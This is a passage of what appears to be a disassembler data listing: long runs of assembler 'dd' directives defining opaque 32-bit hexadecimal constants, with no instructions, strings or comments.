0DBEB1D2Eh dd 75CA8BFh, 6CB073D6h, 5F15F087h, 48FCD57Ah, 7934C106h dd 729DE8Eh, 4C06AA2Ch, 1099117h, 169BC4EFh, 1404CA2Eh dd 2D136659h, 0BCAF54A9h, 0F708FFF8h, 1CD4F9B1h, 225E80h dd 0FFFADB5h, 0FC000AFEh, 0D6DED3A1h, 0B26CE9AAh, 0A5D12094h dd 2889F700h dd 99E1632Eh, 0CC67EABh, 0B783F450h, 8E4C9F30h, 0BF668014h dd 79B2E19h, 3A8B6149h, 0DA35E08Ch, 0CA4D6DA8h, 0AB119330h dd 0F29E00E8h, 2E0454A1h, 33993A47h, 53644580h, 0AAF51305h dd 12729C0h, 757D3DBDh, 88340206h, 481DCA03h, 0AD522460h dd 5B91AB88h, 6C244783h, 0D0377B35h, 0A2EB3900h, 19470D7h dd 562AB93Dh, 844169h, 80F2EA49h, 8F05219Bh, 3A5651CCh dd 2EDBFCC3h, 110CC150h, 0AEE875Ah, 0CEED480Fh, 0D69B00F1h dd 6B75E80Ah, 0BE6000ECh, 0E59AFC3Dh, 8A49193Ch, 108D24ECh dd 0C98EB40h, 21EA01FCh, 601EC96Bh, 119FE8E5h, 5C1DD090h dd 0B2CE52F3h, 93978EE7h, 141BFC92h, 72FAF1EFh, 4DD41E9Ch dd 0C1943349h, 0F5109604h, 0F300F66Ah, 0AC9E4B72h, 16FCAA1h dd 29202FDAh, 3112E4BDh, 4D821D4h, 23802FBCh, 0E1BE00EAh dd 87D58CF2h, 32550C0Eh, 0A4EBA53Ah, 790040B2h, 31E6337Fh dd 5E4B0DBh, 0C202140Bh, 0AD1A0051h, 9EA35092h, 0E46680F0h dd 0BED888CCh, 3BDC289Ch, 4080B0B1h, 3F6E1523h, 9E3CDD54h dd 0BFC5935Eh, 0E62A6480h, 303D8198h, 2C8CF318h, 13F8686Eh dd 95186240h, 6866D920h, 4C8A0505h, 0D039B519h, 24DE9044h dd 0A184E120h, 0E0185828h, 5AFA0A04h, 0E932A87Dh, 0AC89520h dd 0D4230E6Eh, 0E140173Bh, 30963A52h, 0B90C5490h, 0C0BC9508h dd 0A19D1D6Ch, 40A4A4E1h, 2604BB18h, 0CA7E43Bh, 59D88DC7h dd 0E1BA02C1h, 7E420B21h, 6CECF4C0h, 0B0D244BAh, 9FF900D1h dd 1F59E180h, 0D5654878h, 950EDE0Bh, 0A2B604A4h, 0DF3D08D0h dd 22E74F29h, 2D1048B0h, 0D420286Eh, 9FE400E0h, 1F1E7F05h dd 0E7038E5Eh, 1CB1ECF2h, 906F8DC8h, 305ED700h, 0FC72B40Dh dd 1D9F6CB4h, 8170900h, 4ABA9147h, 0B0F82051h, 0AC243DA8h dd 1D409892h, 13114E21h, 0C405D664h, 0B0F4B65Ch, 67F9FE2h dd 8E2DCB86h, 0F400A9E5h, 0DA156275h, 0BE61B8h, 6FBA1A6h dd 9AF12314h, 0C81A2009h, 0CD3CA1E0h, 404BBC09h, 6DC09888h dd 2865CE84h, 77B8CA30h, 672A18EFh, 405BF8B1h, 10005E5Fh dd 36E311CFh, 462A090Ch, 8C800FF5h, 3EF3E982h, 0B84250B2h dd 0F5DE0A06h, 0C92EA05Ch, 3C9B8A0h, 18B84A0h, 7C532A30h dd 86527862h, 85654B69h, 0A47402h, 50D766DDh, 0B79A39BFh dd 0F7C33E00h, 0EE15340Dh, 7B540063h, 336EC465h, 1B0051D7h dd 1D032F11h, 58D953E6h, 7F03F9E7h, 0DA18E454h, 0A0EA78C3h dd 9A986CE0h, 6BC9D500h, 6D7AFE86h, 9F5600C4h, 1D882612h dd 1C002294h, 9151660Ah, 523069h, 847582EBh, 1F286192h dd 22CE871Ch, 58509553h, 0E1C040A0h, 0F2C87D52h, 0C79530A6h dd 9269013Bh, 884FA4F4h, 0E6D9E03Dh, 55D0256Eh, 804E3852h dd 0EEC0EF88h, 908A43BDh, 0FB884468h, 218098B6h, 2E31BAEBh dd 3E481D02h, 73A1406Bh, 8936ED6h, 982DDF2Fh, 80CA35D8h dd 5A0D851Ch, 10C0BD40h, 690A21ECh, 0C18A8ADh, 0B002BC7h dd 727ECD6Dh, 29E7609h, 0B327AF34h, 856FA93h, 0D3F1380h dd 0F3E8154h, 18631BC6h, 8E2915C4h, 0C3A38874h, 459060EDh dd 2E507B31h, 0D0126F8Ch, 8C5FC5Dh, 0A8B0800h, 5AAC6D54h dd 88704156h, 0DBFA4A69h, 31BD1100h, 15112F2Bh, 44910A6Ah dd 11C4A7ECh, 0AE9819Fh, 0C0445AFDh, 0D000448Bh, 8E8B0AD1h dd 34941E61h, 0B8904813h, 78205AFCh, 69A4A079h, 14E9735Fh dd 3483336Ch, 8CF3ACh, 0D945EE66h, 69DE39E5h, 0CC500500h dd 927FA5CEh, 0B2700906h, 0C5372B0h, 1F2E4A58h, 67B994A9h dd 0F020B016h, 0F8830CCFh, 2CE0E986h, 0D01CE029h, 5929DE09h dd 0A3B04038h, 9DE4BF25h, 8B1D7276h, 6F41E7A2h, 0D1A5F021h dd 7DDD3891h, 0B9D60535h, 62347890h, 806158FDh, 3F102858h dd 1E9522E8h, 8323C2AFh, 0A330C094h, 0F1BD2BB8h, 0C7DE5700h dd 0F81C6B2Ah, 0D5FC37B2h, 0E3EDA059h, 4104E567h, 3D58A2A6h dd 59CD70D1h, 9F812078h, 389B5AACh, 0B008A68Ch, 7CE09694h dd 0A403A046h, 27427C61h, 0A3B9FEC8h, 5DAEB004h, 0E0C0D754h dd 15E71E1h, 9005AB3Ah, 0D7C909F2h, 1BE478C8h, 6F07B098h dd 33FB9203h, 0A95CFA37h, 8781033Dh, 8E42B7BFh, 0F43C86A0h dd 334CD30Bh, 0DF700206h, 0BFC4425h, 0BCE1B711h, 0D0D298C4h dd 0A688D4CBh, 6664E2CFh, 4059E5h, 63ED92EBh, 0FF00B39Eh dd 328D3BF3h, 9229F40Ah, 11B90674h, 80C6D54Fh, 0BE220916h dd 3C83C0C5h, 0FAC42449h, 63CF4008h, 3C2E1356h, 4496884h dd 3640DC78h, 4AD6B81Bh, 469A3Ah, 0EF053134h, 1CD3CFE2h dd 0E59E3AB2h, 65CD3018h, 0B81F484Bh, 40C4C14h, 0B11C45D5h dd 9CD44301h, 2549E108h, 0BC3439ECh, 180B8BEh, 0DC32164Ch dd 74B8C540h, 3C99EFE0h, 0C618E8D1h, 4C123C73h, 0F491FA07h dd 0C1CC6EC5h, 7FEA007Ch, 8E061AE8h, 0EC1E7423h, 0F8C13B42h dd 0F4872B10h, 7E07D02Dh, 601D115Eh, 2F36E95Ah, 0BD5C30Fh dd 0C9780287h, 661048BAh, 7954B183h, 940019EDh, 2117C31h dd 5148DC6Ah, 80D88A05h, 875D046h, 952E6446h, 0A0DC70h dd 14AAD546h, 0B126559Fh, 960E9203h, 0BDF5A85Ch, 0E04AA840h dd 0D1A59A05h, 523C7438h, 0AF49C180h, 0C5F8C96Ch, 81282D3Bh dd 0F91CB144h, 0F040F78Eh, 4C5C4FABh, 47E1846Dh, 511B00CCh dd 0ECB440E6h, 17807899h, 0D3C2D278h, 42FA07B0h, 43E46AFCh dd 8892471Bh, 59097850h, 0C6C9C520h, 5E54BEACh, 47009946h dd 130973C4h, 584EAC6Ch, 36B7A041h, 9C31A106h, 0C868B1F5h dd 0E48CCCD6h, 0E02F35FEh, 0C7B46904h, 92C49838h, 3AB4BD52h dd 17532F94h, 8FA391FCh, 1B674DEh, 2E2448EBh, 0B822F527h dd 0EFFD9C00h, 8D3D97FCh, 884368BEh, 0A440A024h, 0CA0100AFh dd 7B7FD686h, 8F0E1B0Ch, 61E7B27Eh, 80778E4Ch, 9D09D870h dd 0F81FAC01h, 0BC6068D6h, 1008CBFh, 42E20C79h, 13F726A1h dd 2263AC5Fh, 24C4FBB0h, 991C2C70h, 6841CE76h, 0A13C3B6Fh dd 0B049B444h, 0BB846B51h, 825EC2C1h, 0CAA9FE08h, 27084024h dd 8E631673h, 0C194DE6Ch, 1BADA38Ch, 0C3C0A2DDh, 1E0094Eh dd 18D13610h, 0A771DCA1h, 8AE69318h, 6F6B8607h, 4C604FACh dd 953C97Eh, 1EB21167h, 1873E062h, 2E258h, 145C6D2Bh, 0EA2254F9h dd 42003158h, 30EFE228h, 7E7ECABEh, 186E2E09h, 0E5E08199h dd 3422C254h, 0DC607A26h, 14777F00h, 322E27F7h, 0B09AF684h dd 0FCAA4418h, 1F047F07h, 0ED4046F1h, 2C84B32Ch, 8D806DCh dd 0AC2661ECh, 19B4674h, 4E2E6C0Bh, 0D082B634h, 120554E4h dd 957974F9h, 513CDC19h, 80022A5Ah, 48D3FAA0h, 5CDEE068h dd 0E7840C27h, 541C8806h, 81955A7Eh, 528DB1D0h, 0AC29F9E9h dd 8A4CEF00h, 0A4F7472Ah, 660709ECh, 106E2D1h, 168D4B6h dd 52A9849Ch, 93AF4622h, 54011648h, 0A620562Fh, 9FACD8A4h dd 0B3694917h, 46F01CD8h, 845E30F2h, 3D3FF404h, 785DEC00h dd 0ACA04B1Ah, 662F9C9Fh, 618007Ch, 15B1A908h, 0D0A2F4E1h dd 0FED0A300h, 19E017CCh, 0C4D9D169h, 0DA513D98h, 70D2C581h dd 6806F572h, 8CE6BC80h, 0BF6B5901h, 845651D5h, 0A85DE88Ah dd 3AB40354h, 190C9716h, 0E8D86540h, 0BE3218BCh, 0CF9018ABh dd 0E454D8E3h, 214CA29Dh, 4B50783Ah, 231C2F48h, 9B003BEAh dd 1D47E4B8h, 6E62F4AEh, 0F30FCEF8h, 0ED7658F0h, 0F45EE409h dd 8C4BBh, 0DABA66EAh, 6E1D0B0Ch, 16750773h, 65B2AD05h dd 0E0A6BD06h dd 8E988AE0h, 71314000h, 56D2F639h, 525C1C05h, 0FC02C476h dd 805CBC6Ch, 299710B9h, 7D27007Ah, 0B7DF7CE0h, 0D2079566h dd 0CF56C507h, 48FCA444h, 23402E96h, 97D300B9h, 8B553C72h dd 4EAEEE00h, 0E5061FC1h, 0B84C82AFh, 0A4C4F8A5h, 0FFB9C560h dd 2608BE02h, 5206E005h, 3A540980h, 908033DAh, 9B84A057h dd 0C3E49001h, 9EFA5E2Ah, 0B1E18020h, 1CF980A0h, 460FF854h dd 1A1E6B76h, 4380754Ah, 50105153h, 0E0030245h, 0B3845E2Eh dd 86CE3068h, 66463490h, 0FC0AE201h, 0CA80D5Ah, 0EA9F88E5h dd 52330A00h, 0DCC1601Eh, 0A5F728C8h, 0F0920944h, 840163F2h dd 87492852h, 26785939h, 2650187Ch, 0BE242B22h, 41040618h dd 46FCD860h, 0E87890BBh, 5A19096Ch, 3460C920h, 321822B4h dd 7868EB94h, 18BD69E5h, 6900ACD1h, 0C091DD98h, 1B9F071Eh dd 204C6C6Eh, 0A4A865CEh, 613CA295h, 0AB34E01Ah, 44349E55h dd 8004A85Fh, 0BEBABDB6h, 6434008Dh, 2C29015Ch, 0D10858A3h dd 89EF22DEh, 78C6D3A0h, 90F508C9h, 3F79D760h, 0AA890216h dd 9C455FE9h, 0C267B8E4h, 7CDA91ABh, 0AAF91B08h, 562D0412h dd 0E584B03Ch, 98D2CE2Ch, 4084CDCBh, 0B02AF551h, 0FE6C5802h dd 5B355F1Dh, 2668A6B0h, 0E0CB5AD0h, 0B00D2382h, 0DA06C3Ch dd 2603F475h, 0B3AD06Ch, 76F8B139h, 2CAE50D4h, 0AF905572h dd 0AD11FC97h, 8A251780h, 1B094048h, 467B332Ah, 22060048h dd 42701256h, 2300E692h, 3981A51Ch, 14F54BDh, 0C8806B7Fh dd 6B305662h, 6FD2F401h, 9050E38Eh, 2C194453h, 0D5C477h dd 76077CB8h, 6217455Bh, 54F48D6Ch, 147504BAh, 0B2D3A19Bh dd 50630060h, 61E464BCh, 59FB1C42h, 2225F958h, 0F8B10449h dd 4896D6DEh, 7D5C5640h, 0ACCD00A6h, 0D5D093F7h, 97647F09h dd 0D0B9CB7Ah, 0ACF4D10Ch, 0FB719A69h, 3E964100h, 5963B5FDh dd 53290E7Dh, 49723910h, 45AF4B4h, 30B09100h, 0D73D6ED4h dd 849800A0h, 829381CEh, 68B0CC1Eh, 31919944h, 0FC39A74Ah dd 95872B2h, 79AF5792h, 6CE10828h, 48A00836h, 0DF2298E9h dd 6978B912h, 52CEE841h, 0A46CA4D2h, 54B8DC4Dh, 0CD3DF702h dd 6328AE59h, 0B920A8B0h, 460D2A3h, 0B1384Ch, 6A511EB0h dd 0E83095B6h, 0AA00E92Ah, 0A96614CAh, 704775D4h, 0A8494C7Dh dd 0A4824977h, 600ED3B8h, 0A0A4DC64h, 0DD5FF2BBh, 0AF492292h dd 818C890h, 55A8CCC5h, 49B27A68h, 6F0794F8h, 83821330h dd 0B008C01Ah, 91FA05h, 0C9DD0410h, 0D9005884h, 0B530BF50h dd 1B79654Ah, 9863A99Eh, 0CFB8C2A4h, 0FE266020h, 84152D52h dd 333A60E1h, 0ACC41620h, 18626CF7h, 0DE19A11Ch, 0CD2E5008h dd 5B3EFC88h, 0C09CD492h, 0B0579AA4h, 23C8208h, 0CF5BACC0h dd 78152D0Ch, 1B80A091h, 0BFA7AFEBh, 0C7109295h, 60B84488h dd 189595Ah, 11B77BD7h, 43B9C107h, 72E2D4C8h, 740220DEh dd 0E69CC912h, 98159D3Ch, 5980B291h, 8041642h, 0E20CA102h dd 1128F4h, 61D3A2F7h, 0DCA05CF2h, 40176B9h, 92AAEA83h dd 29BE0D48h, 0C64F9Fh, 4D7928A8h, 381EA0E0h, 3C6422DFh dd 47EE6387h, 0A3A5AC70h, 7847430h, 0ADB518CAh, 0A18C8159h dd 86EDE052h, 0F0C1431Dh, 8D083B18h, 106E064Ah, 30F952C2h dd 0DB00B4E8h, 5BC5ABD5h, 0F02EC85Ah, 110C0705h, 47CACBD9h dd 9095E0F9h, 10C1CD0Bh, 861CE031h, 3C84ACCh, 498563ABh dd 900794A8h, 64EBB7FCh, 0C19B1B02h, 0DDEB508Ch, 6F52AC42h dd 3D472F9h, 0DCBD552Dh, 66B0994Fh, 5A03B846h, 26E4E728h dd 0CA90A131h, 171E2C4h, 4D0E295Dh, 81E64164h, 21699140h dd 74F08F46h, 0F8BC6Dh, 6BF79202h, 4F4CAA23h, 0E7831BEEh dd 7A019AE8h, 26B801A0h, 67BC803h, 934CF4D2h, 4D039177h dd 0D5A6AE8Fh, 0E54AD8DCh, 840B0126h, 92A2457Ah, 80902B53h dd 1E134C02h, 4906F704h, 7C908DD7h, 3139CD55h, 4B44868Bh dd 880D58Ch, 0CCFC917Ch, 1E3F94A4h, 902FCE82h, 18BB3C4h dd 0DC0A4CA8h, 0F707082Eh, 6F0C11B0h, 656AF100h, 4A56F7D8h dd 6D060A72h, 18CC756Eh, 63771048h, 6F59028Ch, 49F59BDBh dd 0D96E5C00h, 405560ECh, 52282BB0h, 511804ACh, 4D102997h dd 5807182Ah, 0FF0B2124h, 0B3049600h, 0A2AC71F6h, 1F08CC6Eh dd 65006421h, 804B4D96h, 6ACCF955h, 6F5915h, 0E6AF5A6Bh dd 0A9332F8Ch, 0B4081Eh, 6B046921h, 0A4B9F2C3h, 8D062000h dd 1A8A3B31h, 3021F627h, 0C9A1A9DCh, 0B70AABE8h, 5C29CF74h dd 5B063C1Dh, 3115402h, 0F2E50872h, 2CA8F5DCh, 0F74ECD5h dd 12214C67h, 16EDE500h, 48D20130h, 0FC3A925h, 6ECA1019h dd 26C00CBh, 35B9D9E1h, 3B050E24h, 0ECACC938h, 4A23382Eh dd 0EA372400h, 761BC61Dh, 309CA834h, 29506FA1h, 4FC8358Ah dd 1955A586h, 78C0AD07h, 54C53D72h, 0E5033C20h, 0DDC29FDh dd 0FB174074h, 0A40038E5h, 0EF4AC4AFh, 28D7B6BAh, 46F0B97Ah dd 96FE0704h, 7048B303h, 960A5865h, 4CAD30DCh, 89E24C33h dd 66E0D21Ah, 0C1AC60BDh, 0CD55D90h, 4E5F3103h, 306F295Eh dd 0EA21C208h, 0B200D555h, 0AC04C01Fh, 600FB5E2h, 0B835943h dd 0FA0045C2h, 97CB4457h, 2F8B75h, 0DE7BEE10h, 0EDC836A5h dd 0B6B8B300h, 0EC69311Fh, 51321822h, 0B67B114h, 0F518192Ch dd 0A85FF000h, 0D84449h, 24DD0237h, 0CA78FCC7h, 131DA402h dd 4986A6BFh, 60268E28h, 0E04BB9E0h, 894AEF00h, 1D2A1AA8h dd 7C2E35A6h, 23A83AA9h, 0E48D031Dh, 0DD80A983h, 0BF003331h dd 2130E280h, 358668h, 0BC9754D0h, 40235C20h, 9AB0E00h dd 0F9FA8F93h, 9F511834h, 95BA5017h, 0E0BEAF28h, 32FB44h dd 0A39749D0h, 0C67B1AAh, 27D3C918h, 28CAD9h, 6AD679C0h dd 356DED05h, 62A7A200h, 25BA332Fh, 0E851E7BDh, 0B2F01232h dd 5CCA007Fh, 0D44F0F69h, 6D008266h, 5DFDECDBh, 542E98F7h dd 38BA88E4h, 0C394338Ah, 6B30DC12h, 440F4BA9h, 0F2E4A1C0h dd 94CEC27h, 71DA85Bh, 227FC000h, 4400F753h, 4B19FC87h dd 0C4538h, 93658440h, 0EC80507Fh, 3931DC01h, 3FB6C501h dd 58372081h, 80BE6974h, 82D0F911h, 0F7CFB847h, 1B636F4h dd 0AA4A249Bh, 80836662h, 0E6980229h, 0DFF8A6h, 5328EB48h dd 0BD3EFED6h, 26044500h, 0D441E647h, 880D60E7h, 48F82C3Fh dd 850C9076h, 9933B67h, 0CC21C018h, 7B3648F1h, 0F95C5219h dd 0F0D061C1h, 113B6023h, 0CD1CD41Fh, 0A5C8C016h, 53095D19h dd 0DC7F2180h, 59327B1Ch, 635ABF00h, 0F36D3C6Fh, 0C54778Dh dd 8B868F4Eh, 0AB3EE0C8h, 0A5E180F0h, 45F443B8h, 0FE5300C3h dd 0CB7CCAAh, 902E742h, 658F8BE6h, 0A06F0F5Ch, 0C6D4FAE0h dd 8331BC0h, 0B409C1h, 0FADB8021h, 9D5C5D22h, 2E080A8h dd 6316E9C0h, 3D30C0h, 80B7E1A0h, 25D77C69h, 0F209DF03h dd 0BE074B29h, 87F40339h, 6903521Ah, 0D93FA2C0h, 0C4A88AEAh dd 4E009E64h, 287C02F8h, 0CC7B0B44h, 0C5219508h, 0F54E9602h dd 98814314h, 6061E0h, 80B391D5h, 8A0EFB28h, 0F1E3ED01h dd 548E69Ch, 58842981h, 80221A8Bh, 7CC2A481h, 0C0390A48h dd 0FEF35F21h, 447CC3A5h, 194B0431h, 0F1BC01E0h, 20999C00h dd 3DB6715h, 8CA32700h, 0D0928381h, 290A6AE0h, 0E8023B51h dd 3A60C38Bh, 18DB2041h, 91483BF9h, 1A118D23h, 488ED300h dd 23919910h, 0EFC044A0h, 38BCCF3h, 4AEBE900h, 0E0AF5EC7h dd 1BDF0E09h, 8364AD7Ah dd 548C83FFh, 4EA4D906h, 0C14287h, 36DA0AE2h, 5BC2A69Fh dd 1B9FE58h, 2F7571D3h, 0E9C0E3ECh, 0BF68008Ch, 0F7CAF358h dd 603B5EA1h, 0C2858586h, 0E0220AD9h, 4E9C30DFh, 6C02FA11h dd 0C7809688h, 8EA64E94h, 0F19E06EDh, 0F10BE0D9h, 7DE21F13h dd 0D0018B8h, 7B48E834h, 21C306E0h, 0F97FF0CDh, 56F019B3h dd 0D1860A17h, 11D4DD97h, 0DF8F0041h, 34EAAE1h, 2991E8E0h dd 7154CFD5h, 411892h, 0AFABC0A2h, 4B6BA36Eh, 0E2700C80h dd 0D4050045h, 0B3582182h, 9F0E597Eh, 414E13EFh, 0ECFD678Ch dd 0C0439820h, 0AFEE2599h, 20E2D3A3h, 83891801h, 0E791AB4Ah dd 1FF20C22h, 125DC630h, 8244ADCh, 0F6C1DA2Ch, 0F5D99248h dd 0CE881718h, 0C548008Fh, 7A94B10Ch, 0D91D785Ch, 0A74003A9h dd 0BE5DFEC0h, 310462C3h, 9C90CB01h, 530058A4h, 0EA5F950Bh dd 2A71D717h, 3B8C486Bh, 0CF09FD4Fh, 1E00CD3Ch, 0D705F398h dd 64303D1Dh, 6A02E382h, 8A40610Eh, 0FA08D118h, 0C4C8C6D5h dd 0D99F41B7h, 446156FAh, 0FCAF9E3h, 51DE01C0h, 244C4C97h dd 3BF28Bh, 779FE766h, 0AE396C7h, 723FADEEh, 800832A4h dd 0FAD33088h, 0F8C6DB11h, 8180B588h, 5E5AFADAh, 91E11A33h dd 0BC041841h, 48FB60D5h, 52DDFC9Fh, 0C9C0DC60h, 0D97048F0h dd 0B5ABE100h, 0F7A45293h, 25605F3h, 9E0CDDC5h, 6BD3C434h dd 2B1F088h, 0BEFD78F4h, 40484623h, 271FDDDFh, 0E8E49B5Bh dd 95C287E0h, 0A34684BBh, 0F64E9001h, 0D298C02h, 88CB20EEh dd 2E06354Eh, 94667408h, 7E170519h, 0C0E93A72h, 1B79DA6Ch dd 0AFEC5700h, 0D86E344Ah, 7C8F2CC0h, 3F4B8648h, 4E18A956h dd 69C9B189h, 5151C282h, 0FCC0FEB4h, 3509BCDEh, 80AEC438h dd 7385655Ch, 0E1B078A7h, 2C08E831h, 0F0394438h, 8B2B4D7Ah dd 0CD01FC96h, 0A8C6D1FAh, 8388BD18h, 82FA01D4h, 710F4993h dd 7B64F0B6h, 0CDBCE208h, 98019D09h, 582CA98Bh, 6B18EA0Eh dd 4ADE8111h, 0F8440523h, 5088FCCEh, 0D70079C7h, 130E311Bh dd 50DA1A8Dh, 8F1A94BCh, 688479F4h, 0FACE6095h, 0B0C623D2h dd 8200B311h, 53FBFAD5h, 0EC0CAECBh, 793A0B48h, 0B8787DBFh dd 55420420h, 0CC495810h, 38266DF8h, 4676FC13h, 99190E93h dd 0C15A608Ch, 0D6B96BF3h, 49100C91h, 50EDE081h, 0D1801CACh dd 62A00E01h, 81CDBF0Fh, 0AB2C840h, 8459C065h, 75D54C42h dd 4DFCCC07h, 0A3EBBD01h, 49BBD8h, 19B02261h, 0C332D2CBh dd 191C406h, 2969DDh, 7E77F835h, 6359C71Fh, 89455E07h dd 3518501h, 65136DC5h, 4438B7E7h, 0B349C02h, 8C58300Eh dd 8505FD51h, 0D8885D01h, 5CD70036h, 0D6747CF6h, 2207D1CBh dd 3A02E1FFh, 4C1E3920h, 4ECC0067h, 0F80474B9h, 0ECA0F784h dd 0FA001770h, 0A893240h, 4DB0F9h, 14ECB64Ah, 97E3071Fh dd 3C2AB16h, 0B502E803h, 2E05A0F2h, 667326E6h, 899410DCh dd 265811E0h, 0FFD030h, 0C2B3D4A8h, 0ED0AFE51h, 0BA304400h dd 45B878Ah, 0FCD09F5h, 640021EBh, 0F38EB034h, 0D94C2230h dd 0A0536E8Bh, 31336A4h, 69BE6C17h, 8EB8CEAEh, 29C04822h dd 8248D38h, 8CC60006h, 78E8CD37h, 0CE030F15h, 8E978156h dd 8659A766h, 72B16A82h, 8241C023h, 4DEACF45h, 7AE56106h dd 14C92DE0h, 0CABBA4F7h, 43970E00h, 5CC083F0h, 648DDA16h dd 0DBE16A00h, 130290h, 66D15947h, 5871FEA0h, 9539F200h dd 458F87D9h, 0E0973E7Bh, 0D5047A29h, 1FF80D0h, 61ED3CC9h dd 9D048F77h, 0CB818319h, 0A788C643h, 0E387F0h, 0DE29BF10h dd 0FF840793h, 38330930h, 0F7F6386h, 0D3E1F30Ah, 0E8553883h dd 0E9C0A3E2h, 2A380124h, 803F0064h, 4C81FBDAh, 1917EA0Dh dd 9165E4F3h, 361FDCB2h, 89FB8400h, 228DC749h, 0D48F1AD5h dd 67F5047h, 317E2Ch, 0BBF9A3A4h, 9CC110E7h, 590B93E4h dd 8C18E43Ch, 726FA8DDh, 8C8F18F7h, 3F20C00Eh, 0EF1EC07Ch dd 18F10398h, 8850D3C3h, 508AB342h, 2A3E6C8Fh, 74F2E3h dd 5D32FA93h, 2E50D31Ah, 0EAE1EC00h, 710EDD69h, 59BD0339h dd 82223AFFh, 0D41698C9h, 8B00FD08h, 75C658E0h, 7ACD9325h dd 54400A07h, 0BAC4EE1Eh, 1D9D43BBh, 9326C314h, 0D818ED37h dd 6FB003FBh, 634F2887h, 75773164h, 34738FE0h, 0BA76222Ch dd 0D606BD00h, 0E22A1EB1h, 0D0A30034h, 709E8D7Ch, 0FE003009h dd 845FC712h, 30F05728h, 462C394Bh, 6A091C37h, 8F55E085h dd 18309EC0h, 15F9DD77h, 202F7F3Dh, 10E67DE1h, 5C1AEC41h dd 0DA0056F7h, 0A62D80F6h, 0D20F059Dh, 8047F303h, 2F8D812Ah dd 30340117h, 0BA4F5F7Bh, 2039A320h, 670F81B0h, 14108258h dd 1077548h, 6E3D9135h, 152625C0h, 0E6030036h, 0D14602DAh dd 0FF007152h, 3FF205EDh, 0ABF6C9B7h, 37081834h, 0E3E9C086h dd 0B4803A56h, 83BA03Eh, 71E2B980h, 27FB8361h, 0FFB69C09h dd 86E83D7Bh, 1007481Eh, 140E0812h, 0BDE45000h, 12D564B3h dd 3D8442h, 0AE1F1E64h, 91B4436h, 0B22916B7h, 7B8522ADh dd 0AB214324h, 10551217h, 0F7887A6Eh, 19C488B3h, 9227E48Bh dd 5B02EE80h, 0DB1621AFh, 0B1CD01F3h, 11868E11h, 0DE11A88Fh dd 0B21911D4h, 0DF0E4D00h, 7D29E80Fh, 0A7064033h, 0E69252h dd 0C90FBFB8h, 0E5685862h, 7C947001h, 5CAD75CFh, 0F8DB0AC9h dd 0FEE348Fh, 2911502Bh, 0D96094CEh, 5C6E6DA8h, 0C401AF75h dd 0C952407h, 49CCB850h, 0B842E8DEh, 0F498E0h, 0DB551BB6h dd 763B9492h, 14F2BE00h, 0E72166C8h, 0FD7B29h, 68285C8Bh dd 0E977F61Bh, 876DB307h, 0F3E08521h, 1C1434h, 352D9ED2h dd 1E063364h, 0EEA0D005h, 65C0C995h, 0B15911h, 0B566801Ah dd 62702C8Fh, 0D05B1901h, 0A872FB8Eh, 66AE80EAh, 0FA8F0276h dd 6DAE0025h, 0F2CA451Bh, 0BA0EA4E3h, 8023F4F6h, 61C2899Fh dd 0BD26000Bh, 0F5AD76A6h, 9E003C2Ah, 0D65A10B1h, 38FEE5Eh dd 0C06AE2EDh, 0B807FCBDh, 9C720552h, 0CDCC93h, 0E5C1F46h dd 0A22C14FEh, 0B8915D00h, 0F25EBB36h, 97F40178h, 7D0A2963h dd 12CD20C8h, 796393Ch, 6288C58Ch, 54800FB4h, 1B383A0h dd 1FFD4F6Ch, 70596D2Fh, 0A8EED7E5h, 7DA6F400h, 19AEB066h dd 46D60058h, 15CBB353h, 7000762Fh, 624A0AA5h, 4AA2A9Ah dd 3F1BF12Bh, 0A1BDC0FEh, 7F00B69Fh, 48AE70B9h, 18D16443h dd 58AFBF1Ah, 7205DF6Bh, 0CF067594h, 73449C00h, 0FD5B8BB6h dd 14CA1080h, 896EFE19h, 0AB125E06h, 0B80C53h, 79B44763h dd 0DDC3F544h, 8B81ACA0h, 9830E27Bh, 631F10D8h, 2D251EB0h dd 3E39408Ch, 1C1DA92Ch, 499B1030h, 50FC5h, 98D2BF9Dh dd 6141F5ACh, 4446B502h, 90A58F1Ch, 0FAB990h, 0FBB65471h dd 0F851579Ch, 8C3A7B07h, 99B03F9Dh, 78691298h, 0FCD00077h dd 6A307579h, 0B4F8D65Bh, 0E36C5801h, 5A7CEACh, 0D96DA080h dd 9CD2DEF2h, 0C1682206h, 0F89866h, 5FB2B305h, 0BABC811Dh dd 1AD46100h, 4D5B43EBh, 0D1D00757h, 2007373Ah, 0B9695264h dd 0C9F13Fh, 572FA55Bh, 1D95A6h, 8B7FFE3Eh, 11E534CDh dd 0A74EC500h, 5F0680D3h, 0E203240Ch, 88FB8004h, 0EC98545Dh dd 913A48h, 121B1A1Fh, 1CFAFDFEh, 40D4D67Fh, 0E8288613h dd 0F004979h, 0EDAB1BC8h, 9BA01h, 65E08ECFh, 0DD74BCF3h dd 0F5A84C00h, 0B2145052h, 7E99005Ah, 3B3D34DCh, 0B40A40BEh dd 0C24D0484h, 0B5643A0Ah, 0F033F506h, 268A0004h, 6FE3868Bh dd 8490B275h, 2A65FB0Fh dd 99D2314h, 0FE300090h, 0C60EB78Ch, 0EF00F7B0h, 9B638BE4h dd 28A7DFA9h, 1F17287h, 327158DDh, 80F8A155h, 0D298D938h dd 58BCBC2h, 0E6417A6Ch, 69CC0013h, 97D3F182h, 0DECAFE00h dd 1CA2323Dh, 0B1580033h, 8B7E151Dh, 0C305C57Ch, 96D4CE78h dd 98C90083h, 37749Ch, 3EF64F52h, 0D75A7CADh, 2483145Ch dd 0E9070C9Ah, 0C7A63AB9h, 1A842F11h, 0D8008A7Eh, 0C5EF7778h dd 269090B7h, 80B41C40h, 8EC4C241h, 6007EDCEh, 91026EEAh dd 74B1EB50h, 2BD900E2h, 881466B0h, 6100BC13h, 7EC5D002h dd 3D1ED22h, 3FF06731h, 0BDD878D2h, 4CEAAB72h, 76E9D06h dd 0F88565h, 10054593h, 86F4A9ACh, 0A14F0D00h, 694DBB7Dh dd 36676EAh, 383D119Bh, 1B880A56h, 0AE0407ACh, 5953E03h dd 3CD9C0EAh, 201CC9Ch, 0B78D335Ch, 9043BF2Fh, 137CD0E9h dd 96603EC5h, 0B679A203h, 0DCD8829Bh, 87006533h, 0D481F1FCh dd 6B20E8h, 498001CAh, 2BED2C4Eh, 4A418A00h, 1A8DE504h dd 0B01EF6F8h, 0B0E21D1Ch, 0F96E40CCh, 1CA7CBCAh, 2F3D207Dh dd 5D6002E7h, 0A00ACEADh, 8481D0ACh, 0A04B00BDh, 0ABB28A43h dd 2F3B6B67h, 5B540793h, 5830BE5Eh, 51CE21h, 95F4B0C7h dd 0AD921DACh, 0C102ED00h, 4D4A854Ch, 98D5710Ch, 43A9027Dh dd 7377EA8Dh, 3FC5A880h, 